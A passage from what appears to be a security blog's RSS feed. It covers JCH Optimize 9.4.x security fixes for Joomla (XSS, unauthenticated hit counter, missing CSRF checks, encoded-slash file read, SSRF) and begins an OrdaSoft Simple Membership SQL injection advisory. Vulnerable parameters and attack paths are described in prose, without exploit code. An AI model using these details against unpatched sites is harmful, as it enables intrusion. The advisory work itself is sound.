&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;Another 23 Critical Security Vulnerabilities in Gridbox for Joomla&lt;/a&gt; - the July audit and its eleven CVEs.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox for Joomla: One Cookie and You Are a Super User&lt;/a&gt; - the July authentication bypass, CVE-2026-61425.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;OWASP: Cross Site Request Forgery&lt;/a&gt; - how CSRF works and why token checks stop it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352: Cross-Site Request Forgery&lt;/a&gt; - the underlying weakness class.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>gridbox</category><category>balbooa</category><category>vulnerability</category><category>csrf</category><category>cve</category><enclosure url="https://mysites.guru/img/og/blog/gridbox-2-20-4-0-security-fixes.png" length="0" type="image/png"/></item><item><title>JCH Optimize 9.4.0 Fixes Six High-Rated Security Issues in the Joomla Extension</title><link>https://mysites.guru/blog/jch-optimize-9-4-0-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/jch-optimize-9-4-0-security-release/</guid><description>JCH Optimize 9.4.0 fixed an XSS, an unauthenticated hit counter flaw and missing admin CSRF checks; 9.4.2 fixes a file read and an SSRF. Update to 9.4.2.</description><pubDate>Wed, 07 Oct 2026 15:32:15 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.jch-optimize.net/&quot;&gt;JCH Optimize&lt;/a&gt; is a page speed extension for Joomla: it combines and minifies CSS and JavaScript, rewrites HTML, optimises images and serves a page cache. This morning its developer, Samuel Marshall, released &lt;a href=&quot;https://www.jch-optimize.net/component/ars/?view=Items&amp;amp;release_id=1559&amp;amp;format=html&quot;&gt;JCH Optimize 9.4.0&lt;/a&gt; and called it “a security and maintenance release”. The changelog rates six of the fixes HIGH, including a cross-site scripting issue, an unauthenticated Page Cache endpoint and administrator tasks that ran without a security token.&lt;/p&gt;
&lt;p&gt;Every version before 9.4.0 is affected, in both the Free and Pro editions. No CVE has been published and the release credits no finder. Three days later the vendor shipped a second security release, 9.4.2, which fixes a file read and a server-side request forgery that 9.4.0 and 9.4.1 still have. The vendor withdrew that 9.4.2 build later the same day and published a rebuilt 9.4.2 with the same security fixes. If a Joomla site you manage runs JCH Optimize, update it to 9.4.2 today, even if you updated it this week.&lt;/p&gt;
&lt;h2&gt;Update, later on 10 October 2026: 9.4.2 withdrawn and rebuilt&lt;/h2&gt;
&lt;p&gt;Later the same day, the vendor pulled the 9.4.2 release described in the next section. Its release page now returns “403 Access forbidden”. In its place is a second release also numbered &lt;a href=&quot;https://www.jch-optimize.net/component/ars/?view=Items&amp;amp;release_id=1570&amp;amp;format=html&quot;&gt;9.4.2&lt;/a&gt;, with its own release page, and the Free and Pro update feeds now point at it. The vendor has not said why the first build was withdrawn.&lt;/p&gt;
&lt;p&gt;We downloaded the first 9.4.2 Free package the morning it came out, so we compared it with the rebuild. The security fixes are identical: the file combining code that closes the encoded-slash file read and the SSRF did not change by a byte. Everything in the next section still applies, and the advice is the same: update to 9.4.2.&lt;/p&gt;
&lt;p&gt;The rebuild differs in five ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The component reports its version as plain &lt;code&gt;9.4.2&lt;/code&gt;. The first build reported &lt;code&gt;9.4.2-dev202610101433-revbbe49222&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A new HIGH-rated fix for tag pages. Since 9.4.0, with Page Cache on, guests saw an error page after a tag page’s content and the page was never cached, because the reworked hit counter did not accept the list of tag IDs a tag page passes. It now counts the hit on the first tag, as Joomla does, and an error while storing a page skips caching instead of being added to the page.&lt;/li&gt;
&lt;li&gt;Save Changes in the Critical JavaScript Configure Helper works again. It had failed with a server error since 9.4.0.&lt;/li&gt;
&lt;li&gt;Recache’s default concurrency drops from 10 to 5, so a recache leaves PHP workers free for visitors, and errors from a recache started in a web request are now logged.&lt;/li&gt;
&lt;li&gt;Joomla 4.4 is gone from the compatibility list. The update feed now lists Joomla 5.0 and later for 9.4.0, 9.4.1 and 9.4.2, where it previously offered all three to Joomla 4.4.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a site installed the first build, its component shows the &lt;code&gt;-dev&lt;/code&gt; version in the extension manager. That site has every security fix, and Joomla’s update manager offers it the rebuild, because it ranks a plain 9.4.2 above a &lt;code&gt;-dev&lt;/code&gt; build of the same number. Install it for the tag page fix. mySites.guru treats both builds as fixed.&lt;/p&gt;
&lt;p&gt;Joomla 4.4 sites are now in a harder spot. None of them is offered any 9.4.x release now, so the security fixes from both rounds wait on the Joomla 5 upgrade, or on removing JCH Optimize until then. mySites.guru keeps flagging those sites.&lt;/p&gt;
&lt;h2&gt;Update, 10 October 2026: 9.4.2 fixes a file read and an SSRF in file combining&lt;/h2&gt;
&lt;p&gt;JCH Optimize 9.4.2 is out, and the vendor calls it “a security and maintenance release”. (This is the first 9.4.2 build, which the vendor later withdrew and rebuilt with the same security fixes; see the update above.) Update to it now, including any site you moved to 9.4.0 or 9.4.1 after our earlier advice: both versions have the issues below.&lt;/p&gt;
&lt;p&gt;The fix the vendor rates HIGH is in file combining. An encoded slash (&lt;code&gt;..%2F&lt;/code&gt;) in the URL of a CSS or JavaScript file could reach files outside the site root, and the combined file is then served to visitors. We compared the 9.4.1 and 9.4.2 Free packages: 9.4.1 removed &lt;code&gt;../&lt;/code&gt; segments from the URL before decoding it, so &lt;code&gt;..%2F&lt;/code&gt; passed that step and only became &lt;code&gt;../&lt;/code&gt; afterwards. 9.4.2 rejects any decoded path that still climbs out of the root.&lt;/p&gt;
&lt;p&gt;The MEDIUM-rated fixes stop the combiner fetching files from private network addresses or following redirects to them (a server-side request forgery), escape script URLs in the Critical JavaScript Configure Helper, keep the Download ID out of settings exports, make the request that starts a Recache usable only once, and hold the post-update &lt;code&gt;.htaccess&lt;/code&gt; changes and plugin ordering until an administrator signs in. Going by the code, both combining issues work through the URL of a file the page links to, so an attacker first needs a way to put a link into a page JCH Optimize optimises. That makes them harder to reach than the 9.4.0 issues. The fix is the same update either way.&lt;/p&gt;
&lt;p&gt;Two practical notes. Sites that connect to Redis through a Unix socket have been silently falling back to filesystem storage since 9.4.0, and 9.4.2 fixes that too. And in the extension manager the first 9.4.2 build’s component reported its version as &lt;code&gt;9.4.2-dev202610101433-revbbe49222&lt;/code&gt;: that was the build the vendor published as stable, the plugins reported plain 9.4.2, and mySites.guru treats it as up to date. The rebuilt 9.4.2 reports plain 9.4.2 throughout.&lt;/p&gt;
&lt;h3&gt;How fast sites took up 9.4.0&lt;/h3&gt;
&lt;p&gt;On release day, 1% of the current-line JCH Optimize installs on connected Joomla sites were on 9.4.0. These figures are from the same sites three days later, on the day 9.4.2 shipped:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44%&lt;/div&gt;&lt;div&gt;of current-line installs moved to 9.4.0 or later in three days, up from 1% on release day&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Nearly 3 in 4&lt;/div&gt;&lt;div&gt;of those updates showed up in the first 24 hours after the 9.4.0 release&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;56%&lt;/div&gt;&lt;div&gt;were still below 9.4.0 three days on, and need 9.4.2 now&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Most of the movement came in the first day, and it slowed sharply after that. That is the usual shape: the sites someone is actively watching update quickly, and the rest wait for whoever looks after them to notice. Every site in that 56% now needs a single update to 9.4.2, which covers both rounds of fixes.&lt;/p&gt;
&lt;h2&gt;Update, 7 October 2026: 9.4.1 fixes the Redis and APCu fatal error&lt;/h2&gt;
&lt;p&gt;JCH Optimize 9.4.1 is out, released the same day as 9.4.0, and it resolves this. If a Pro site uses Redis or APCu storage, update straight to &lt;a href=&quot;https://www.jch-optimize.net/component/ars/?view=Items&amp;amp;release_id=1560&amp;amp;format=html&quot;&gt;9.4.1&lt;/a&gt;: it includes every security fix from 9.4.0 and restores the cache classes that 9.4.0 dropped. Anyone who updated to 9.4.0 and switched storage to Filesystem as a stopgap can move to 9.4.1 and turn Redis or APCu back on.&lt;/p&gt;
&lt;p&gt;What happened: a JCH Optimize Pro user reported this afternoon that 9.4.0 took down sites using Redis as the cache store, with a fatal “Redis\Metadata is not available” error on every page. We confirmed it in the 9.4.0 Pro package. 9.4.0 upgraded its bundled Laminas Redis adapter from 2.2 to &lt;a href=&quot;https://github.com/laminas/laminas-cache-storage-adapter-redis/tree/3.1.0/src&quot;&gt;3.1.0&lt;/a&gt;, whose &lt;code&gt;Redis&lt;/code&gt; class depends on a &lt;code&gt;Redis\Metadata&lt;/code&gt; class in a &lt;code&gt;src/Redis/&lt;/code&gt; folder. The 9.4.0 Pro package shipped none of the four files in that folder, &lt;code&gt;Metadata.php&lt;/code&gt; included, and its class map did not list them. The vendor’s 9.4.1 changelog says APCu storage was missing classes in the same way. The Free edition has no Redis adapter at all, so it was not affected, and sites on the default Filesystem storage were not affected either.&lt;/p&gt;
&lt;p&gt;If a site is still on 9.4.0 and cannot update this minute, the earlier workaround holds: set JCH Optimize’s Storage Adapter (in the Cache Storage settings) to Filesystem, because the setting’s own fallback does not help once a missing class stops PHP before JCH Optimize can catch it. If a site is already down, renaming the &lt;code&gt;plugins/system/jchoptimize&lt;/code&gt; and &lt;code&gt;plugins/system/jchpagecache&lt;/code&gt; folders over FTP brings the front end back. The clean fix is to update to 9.4.1.&lt;/p&gt;
&lt;h2&gt;How mySites.guru flags JCH Optimize below 9.4.2&lt;/h2&gt;
&lt;p&gt;mySites.guru records the exact version of every extension on every connected Joomla site twice a day. We added JCH Optimize 9.4.0 to our &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;Joomla vulnerability database&lt;/a&gt; the afternoon it was released, so any connected site running the component or its system plugin below 9.4.0 is flagged on its own site card and in its audit, with the version that resolves it. On 10 October we added a second rule for the 9.4.2 fixes, which flags everything below 9.4.2, so sites on 9.4.0 and 9.4.1 are flagged again until they update. Both 9.4.2 builds count as fixed, since their security code is the same.&lt;/p&gt;
&lt;p&gt;The rule matches the component and the system plugin separately. JCH Optimize installs several plugins that share the element name &lt;code&gt;jchoptimize&lt;/code&gt; (a console plugin and, from 9.4.0, a scheduler task plugin), and those are versioned alongside the main extension, but the rule is pinned to the component and the &lt;code&gt;system&lt;/code&gt; plugin so that a stray row cannot flag a site that has already updated.&lt;/p&gt;
&lt;h2&gt;What the mySites.guru database shows&lt;/h2&gt;
&lt;p&gt;JCH Optimize is one of the more common third-party extensions we see. These figures are from the Joomla sites connected to mySites.guru that reported in during the last 30 days, taken the afternoon 9.4.0 was released:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1 in 10&lt;/div&gt;&lt;div&gt;connected Joomla sites run JCH Optimize&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;99%&lt;/div&gt;&lt;div&gt;of current-line installs were below 9.4.0 on release day&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1 in 4&lt;/div&gt;&lt;div&gt;JCH Optimize sites are on the old Joomla 3 line, which has no fix&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The second figure is normal for the first day of any release. The third will not change by itself, because the old line has no patch to wait for.&lt;/p&gt;
&lt;h2&gt;The cross-site scripting issue in the JCH Optimize optimiser&lt;/h2&gt;
&lt;p&gt;The first HIGH item in the changelog is “a cross-site scripting vulnerability where encoded characters in URLs, such as search query links, were decoded during optimization”. JCH Optimize rewrites the HTML of every page it serves. Going by the vendor’s description, when Joomla or another extension has already escaped a value inside a link, for example a search term echoed into a “search again” URL, the optimiser’s rewriting step could turn the encoded characters back into live ones.&lt;/p&gt;
&lt;p&gt;The rest of the site did nothing wrong here. Joomla escaped the value correctly; the extension sitting between Joomla and the browser undid it. An attacker only has to get a visitor, or an administrator, to open a crafted search link, and the script runs in the context of the site.&lt;/p&gt;
&lt;p&gt;This is the one to worry about first on a busy public site, because it needs no account and it reaches any visitor who follows the link.&lt;/p&gt;
&lt;h2&gt;The Page Cache hit counter ran any component’s model&lt;/h2&gt;
&lt;p&gt;When JCH Optimize serves a page from its own page cache, Joomla never runs the component that built the page, so article hit counters would stop moving. To fix that, the Page Cache plugin adds a small script to cached pages that calls back to the site and records the hit.&lt;/p&gt;
&lt;p&gt;We compared the 9.3.1 and 9.4.0 Free packages to see what the vendor’s description, “allowing a request to run any component’s model”, means in practice. In 9.3.1 the callback is a &lt;code&gt;com_ajax&lt;/code&gt; endpoint in &lt;code&gt;plg_system_jchpagecache&lt;/code&gt; that answers anonymous requests. It reads a component name (&lt;code&gt;hitoption&lt;/code&gt;) and a model name (&lt;code&gt;hitview&lt;/code&gt;) from the request, boots that component, builds the named site model and calls its &lt;code&gt;hit()&lt;/code&gt; method with an ID from the request. If anything throws, the exception message is sent back in the response.&lt;/p&gt;
&lt;p&gt;So any visitor could choose which component and which model to run, and drive hit counters on content the page cache never served, including unpublished items and content behind access levels. We have not shown it reaching anything worse than &lt;code&gt;hit()&lt;/code&gt;, and the vendor does not say it does. 9.4.0 replaces the endpoint’s logic with a fixed list of supported pages (articles, categories, contacts, news feeds and tags) and checks that the item is published and visible to the visitor before counting it.&lt;/p&gt;
&lt;h2&gt;Admin tasks ran without a token or the core.admin permission&lt;/h2&gt;
&lt;p&gt;The 9.4.0 changelog says administrator tasks that change settings or files now “require a valid form token and administrator permissions”. The diff shows where the check went in. JCH Optimize 9.4.0 adds a guard to its administrator dispatcher: anything other than a read-only dashboard view now needs the &lt;code&gt;core.admin&lt;/code&gt; permission on the component and a valid Joomla session token.&lt;/p&gt;
&lt;p&gt;In 9.3.1 neither check was there, which allowed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cross-site request forgery: a logged-in administrator who opened a crafted link or page could be made to change JCH Optimize settings or run its file tasks without knowing it.&lt;/li&gt;
&lt;li&gt;Weaker permissions than the job needs: a backend user who could open the component, but who should not be configuring it, could change settings that alter every page the site serves.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The same release stops settings exports from including the Cloudflare API token and the Redis password, and keeps a site’s existing token and password when an import file leaves them out. An old export file sitting in a downloads folder or a support ticket still holds both.&lt;/p&gt;
&lt;h2&gt;Image paths, the open redirect and the jchbackend switch&lt;/h2&gt;
&lt;p&gt;The remaining HIGH items are narrower:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Image optimisation paths: the image optimisation service returns URLs and file paths for the optimised images. 9.4.0 validates those and keeps image folders inside the site root, where earlier versions trusted what came back.&lt;/li&gt;
&lt;li&gt;Open redirect: the Mode Switcher and Utility tasks redirected to whatever URL was passed, base64 encoded, in the &lt;code&gt;return&lt;/code&gt; parameter. 9.4.0 only follows a return URL on the site itself. The controllers sit on the administrator side, so the link has to be followed by someone logged in there, which is exactly who a phishing redirect wants.&lt;/li&gt;
&lt;li&gt;The jchbackend parameter: adding &lt;code&gt;jchbackend=1&lt;/code&gt; to any front-end URL told JCH Optimize to skip optimisation for that request, for any visitor. 9.4.0 removes the parameter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The MEDIUM items harden the page cache against malformed &lt;code&gt;Host&lt;/code&gt; headers and unsafe characters in Capture Cache file paths, and escape file and folder names in the Optimize Images file tree. One small fix shows how these things slip through: in 9.3.1 the check for the &lt;code&gt;jchnooptimize&lt;/code&gt; parameter reads &lt;code&gt;get(&apos;jchnooptimize&apos; == &apos;1&apos;)&lt;/code&gt;, comparing the string to &lt;code&gt;&apos;1&apos;&lt;/code&gt; before asking for it, so that parameter never worked at all.&lt;/p&gt;
&lt;h2&gt;Which JCH Optimize versions are fixed?&lt;/h2&gt;















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Line&lt;/th&gt;&lt;th&gt;Joomla element&lt;/th&gt;&lt;th&gt;Joomla versions&lt;/th&gt;&lt;th&gt;Status&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;9.4.2 (rebuild)&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_jchoptimize&lt;/code&gt;&lt;/td&gt;&lt;td&gt;5.0 to 6.1&lt;/td&gt;&lt;td&gt;Current release, fixes the file read and SSRF in file combining&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9.4.2-dev202610101433-revbbe49222&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_jchoptimize&lt;/code&gt;&lt;/td&gt;&lt;td&gt;4.4 to 6.1 when it shipped&lt;/td&gt;&lt;td&gt;First 9.4.2 build, withdrawn the same day. Same security fixes; update to the rebuild for the tag page fix&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9.4.1&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_jchoptimize&lt;/code&gt;&lt;/td&gt;&lt;td&gt;5.0 to 6.1 in the update feed now&lt;/td&gt;&lt;td&gt;Has the 9.4.0 fixes, but affected by the 9.4.2 issues; update to 9.4.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9.4.0&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_jchoptimize&lt;/code&gt;&lt;/td&gt;&lt;td&gt;5.0 to 6.1 in the update feed now&lt;/td&gt;&lt;td&gt;Affected by the 9.4.2 issues, and a fatal error on Redis or APCu Pro sites; update to 9.4.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9.x before 9.4.0, 8.x, 7.x&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_jchoptimize&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Varies by release&lt;/td&gt;&lt;td&gt;Affected, update to 9.4.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6.5.0 and earlier&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_jch_optimize&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Almost entirely Joomla 3&lt;/td&gt;&lt;td&gt;Affected as far as anyone has said, no fix&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;&lt;p&gt;Joomla 4.4 sites: the fix now needs Joomla 5&lt;/p&gt;&lt;div&gt;&lt;p&gt;The 9.4.x release notes always said Joomla 5.0 or later, but until 10 October the vendor’s update feed offered 9.4.x to Joomla 4.4 anyway. It no longer does, for any 9.4.x release, so a Joomla 4.4 site below 9.4.2 will not be offered the fix. Upgrade the site to Joomla 5 first, or disable JCH Optimize until you can. mySites.guru flags those sites below 9.4.2 either way.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What does this mean for Joomla 3 sites?&lt;/h2&gt;
&lt;p&gt;The old JCH Optimize line, version 6.5.0 and earlier, installs under a different element, &lt;code&gt;com_jch_optimize&lt;/code&gt;, and nearly every site still running it is on Joomla 3. The vendor has said nothing about whether that code has the same flaws, and it has no fix. We have not added a rule for it, because we do not flag a version on a guess.&lt;/p&gt;
&lt;p&gt;An optimiser that rewrites every page is a high-value place for a bug, and the old line gets no more security fixes. On a Joomla 3 site the practical choices are to uninstall JCH Optimize, or to make &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;the move to a supported Joomla version&lt;/a&gt; that has been waiting. Our &lt;a href=&quot;https://joomla3security.com/extension-vulnerabilities/&quot;&gt;Joomla 3 extension vulnerabilities list&lt;/a&gt; tracks the other extensions in the same position.&lt;/p&gt;
&lt;h2&gt;What to do today&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Update JCH Optimize to 9.4.2 on each site running Joomla 5.0 or later, after confirming the site runs PHP 8.1 or later, including sites you already moved to 9.4.0 or 9.4.1. 9.4.2 includes every earlier security fix and the Redis and APCu fix.&lt;/li&gt;
&lt;li&gt;Check the component, the &lt;code&gt;system&lt;/code&gt; plugin and the Page Cache plugin all report 9.4.2. A partly applied update leaves old code in place, and a component on &lt;code&gt;9.4.2-dev202610101433-revbbe49222&lt;/code&gt; is the withdrawn first build, which the update manager will move to the rebuild.&lt;/li&gt;
&lt;li&gt;On Joomla 4.4 sites, plan the Joomla 5 upgrade, because the vendor no longer offers 9.4.x to Joomla 4.4.&lt;/li&gt;
&lt;li&gt;Delete any JCH Optimize settings export you have saved, and rotate the Cloudflare API token, the Redis password and the Download ID if an export ever left your hands.&lt;/li&gt;
&lt;li&gt;On Joomla 3 sites, uninstall the old JCH Optimize line or plan the migration.&lt;/li&gt;
&lt;li&gt;If you cannot update a site today, turn off the Page Cache plugin, which closes the unauthenticated endpoint.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Beyond the version flag&lt;/h2&gt;
&lt;p&gt;A flag on a site card says a site is exposed. It does not tell you whether anyone used the hole first, and an XSS aimed at administrators is usually the first step towards an account an attacker should not have.&lt;/p&gt;
&lt;p&gt;mySites.guru runs the follow-up checks as part of the subscription, unattended, on every connected site. The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;rogue admin check&lt;/a&gt; lists Super Users added outside the normal flow across your whole account in one view. The &lt;a href=&quot;https://mysites.guru/joomla-malware-scanner/&quot;&gt;Joomla malware scanner&lt;/a&gt; looks for code dropped on the server. And the &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; explains how version flags like this one work for every Joomla and WordPress extension we track.&lt;/p&gt;
&lt;p&gt;If one of your sites already shows signs of compromise, work through &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;our Joomla hacked-site guide&lt;/a&gt; or have us &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix it for you&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites for clients, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; flags every connected site the day a fix like this ships, and the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; shows what it finds on your own sites first.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-10-07&lt;/strong&gt; JCH Optimize 9.4.0 ships with six HIGH-rated security fixes Cross-site scripting through encoded URL characters, an unauthenticated Page Cache hit counter endpoint, admin tasks without a token or core.admin, an open redirect, unvalidated image optimisation paths and the jchbackend switch. The release notes ask for Joomla 5.0, but the update feed offers it to Joomla 4.4. mySites.guru flags every site below 9.4.0 the same afternoon.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-07&lt;/strong&gt; 9.4.0 takes down Pro sites using Redis or APCu storage A fatal error on every page, because the bundled Laminas cache library shipped without classes the adapters need. JCH Optimize 9.4.1 restores them later the same day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-10&lt;/strong&gt; JCH Optimize 9.4.2 ships with a second round of security fixes A HIGH-rated read of CSS and JavaScript files outside the site root through ..%2F when combining files, and a MEDIUM-rated SSRF in the same code. The component reports 9.4.2-dev202610101433-revbbe49222, and the release page lists Joomla 4.4 as compatible. mySites.guru flags everything below 9.4.2, including 9.4.0 and 9.4.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-10&lt;/strong&gt; The vendor withdraws the first 9.4.2 build Its release page starts returning 403 Access forbidden. No reason has been published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-10&lt;/strong&gt; A rebuilt 9.4.2 replaces it, for Joomla 5.0 and later only Same version number, new release page, and the Free and Pro update feeds point at it. The security fixes are identical to the first build. It reports plain 9.4.2, fixes tag pages that showed an error page to guests under Page Cache, and every 9.4.x entry in the update feed now drops Joomla 4.4.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jch-optimize.net/component/ars/?view=Items&amp;amp;release_id=1570&amp;amp;format=html&quot;&gt;JCH Optimize 9.4.2 release notes&lt;/a&gt; - the rebuilt second security release, with the file read and SSRF fixes. The first 9.4.2 release page has been withdrawn.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jch-optimize.net/component/ars/?view=Items&amp;amp;release_id=1559&amp;amp;format=html&quot;&gt;JCH Optimize 9.4.0 release notes&lt;/a&gt; - the vendor&apos;s full changelog, with each fix rated HIGH, MEDIUM or LOW.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html&quot;&gt;OWASP Cross Site Scripting Prevention Cheat Sheet&lt;/a&gt; - output encoding, the rule an HTML optimiser has to respect when it rewrites a page.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html&quot;&gt;OWASP Cross-Site Request Forgery Prevention Cheat Sheet&lt;/a&gt; - why every state-changing admin request needs a token.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/extension-vulnerabilities/&quot;&gt;Joomla 3 extension vulnerabilities&lt;/a&gt; - the Joomla 3 extensions with known holes and no vendor fix.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>xss</category><category>performance</category><enclosure url="https://mysites.guru/img/og/blog/jch-optimize-9-4-0-security-release.png" length="0" type="image/png"/></item><item><title>OrdaSoft Simple Membership and Touch Slider for Joomla: Two Flaws That Need No Login</title><link>https://mysites.guru/blog/ordasoft-simple-membership-touch-slider-vulnerabilities/</link><guid isPermaLink="true">https://mysites.guru/blog/ordasoft-simple-membership-touch-slider-vulnerabilities/</guid><description>Simple Membership for Joomla has an SQL injection in its login check, CVSS 9.3, and Touch Slider lets anyone delete or replace its slides. Versions and fixes.</description><pubDate>Wed, 07 Oct 2026 09:52:58 GMT</pubDate><content:encoded>&lt;p&gt;Two CVEs published this morning by the Joomla CNA cover two more Joomla extensions from &lt;a href=&quot;https://www.ordasoft.com/&quot;&gt;OrdaSoft&lt;/a&gt;. Simple Membership, which handles member registration and login, has an SQL injection in its login check that needs no account and scores CVSS 4.0 9.3 Critical. Touch Slider, a slideshow module, lets any visitor delete its slides or replace its content, scored 6.9 Medium.&lt;/p&gt;
&lt;p&gt;If a Joomla site you manage runs either one, update it today: Simple Membership to 7.4.0 and Touch Slider to 5.4.6. This is the fourth batch of OrdaSoft security issues in under three weeks, after &lt;a href=&quot;https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/&quot;&gt;OS Gallery&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/&quot;&gt;Real Estate Manager, Vehicle Manager and Book Library&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/ordasoft-os-cck-sql-injection/&quot;&gt;OS CCK&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How mySites.guru flags Simple Membership and Touch Slider&lt;/h2&gt;
&lt;p&gt;mySites.guru records the exact version of every extension on every connected Joomla site twice a day. We added both records to our Joomla vulnerability database the morning they were published, so any connected site running Simple Membership below 7.4.0 or Touch Slider below 5.4.6 is now flagged on its own site card and in its audit, with the version that resolves it. If the extension is on the site, the flag is already there.&lt;/p&gt;
&lt;p&gt;Both extensions also install a Joomla package alongside the component or module, and we flag the package too, so a site whose component or module row is missing is still caught. The flags cover every edition. Some Simple Membership Pro sites report versions in the 3.x and 4.x range, below 7.4.0, so they are flagged as well, and OrdaSoft has not said which Pro build has the fix.&lt;/p&gt;
&lt;h2&gt;Simple Membership: SQL injection in the login check, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102782/&quot;&gt;CVE-2026-102782&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Simple Membership’s front-end entry point, &lt;code&gt;site/simplemembership.php&lt;/code&gt;, answers &lt;code&gt;task=checkLoginPass&lt;/code&gt; without any authentication or access check. That much is normal for a login check, since the visitor is not logged in yet. The handler then reads the login name from the request through Joomla’s generic input filter and concatenates it straight into the SQL query, with no escaping and no parameter binding.&lt;/p&gt;
&lt;p&gt;The filter is where the false comfort comes from. Joomla’s default input filter strips HTML and script tags, so a developer testing it sees angle brackets disappear and assumes the value is clean. It leaves quotes and SQL syntax alone, and a single quote is all an attacker needs to close the login string and append their own SQL.&lt;/p&gt;
